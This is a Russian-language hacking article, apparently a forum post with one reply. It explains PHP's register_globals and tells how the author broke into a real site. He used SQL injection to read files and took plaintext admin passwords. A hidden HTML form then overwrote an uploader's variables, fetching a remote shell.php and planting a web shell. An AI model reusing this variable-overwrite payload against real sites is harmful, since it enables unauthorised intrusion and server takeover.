register_globals [ON] Подмена переменных -------------------------------------------------------------- Вступление Совсем недавно я столкнулся с весьма необычным взломом. Необычным, потому что обычные методы, мне не помогли. Поэтому я решил поделится с вами этим методом, так как, я считаю, он имеет право на существование. Теория Как известно в пхп есть такая вещь как register_globals. Вдруг кто не знает - я объясню что это такое. Register_globals - это одна из установок php.ini которая при ее включении позволяет регистрировать глобальные переменные. Ну это если дословно. На практике же это собой представляет: Можно передавать данные между скриптами методами GET или POST, но чтобы принять переменную, в скрипте должна быть строка PHP: $i = $_GET['i']; Данный код говорит о том, что для данного скрипта создана переменная $i, и в неё записаны данные переменной 'i' переданной скрипту методом GET. Но если включен register_globals, но данная строка не нужна! При передачи скрипту какой либо переменной, если ее название будет совпадать с уже существующей, то оно ее просто заменит. То есть если есть такой скрипт: PHP: <? echo $i; ?> и есть html файл Code: <form action='script.php' method=POST> <input type=hidden name='i' value='123'> <input type=submit value='ok'> </form> То при его исполнении пхп скрипт выдаст на экран 123 Из жизни... Как я уже говорил, недавно я встретился с таким вот взломом. Ресурс был давольно крупный, но с достаточно тупыми багами. Там была MySQL Injection и к моему счастью file_priv был [ON] Я мог читать файлы. Недолго думая я проверил таблицы, и нашел таблицу admins, но радость моя была не долгой - хеши были какие-то еврейские. Админку я нашел абсолютно случайно, в очень редком и непредвиденном для нее месте http://site.com/admin/ Меня приветсвовал скрипт предлагающий выбрать юзера из комбобокса, и ввести пасс к нему. Недолго думая я прочитал сурс админки - пассы лежали в чистом виде. Теперь я мог добавлять новости и АПЛОАДИТЬ КАРТИНКИ. Более того, скрипт даже не проверял расширение файла, НО почему то я увидел вверху страницы надпись: Warning: copy(/images/shell.php) [function.copy]: failed to open stream: No such file or directory in... то есть просто не существовало такой диры. Я решил почитать сурс аплоадера. там я увидел примерно такой код: Code: ... if(isset($file)) { copy($file,"/images/".$file_name); } ... Далее просто я решил подменить переменные. Для этого я создал HTML файл, и вписал туда. Code: <input type=hidden name="file" value="http://www.site.com/shell.php"> <input type=hidden name="file_name" value="../shell.php"> Запустил с локалхоста... Шелл уже ждал меня на сервере... Вывод Конечно в реальной истории было все намного сложнее и запутанней, но здесь я привел лишь модель. Смысл баги в том, что, как правило, разработчики не предвидят возможность "плохого" использования register_globals а так как помоему на всех хостингах сейчас register_globals ON, то в определенных ситуациях это может нести смертельную опасность для безопасности скриптов. -------------------------------------------------------------------- LoFFi (c)
Мне лично редко встречаются хосты с Register_Glabals=On, обычно ставять Off на более нормальных серваках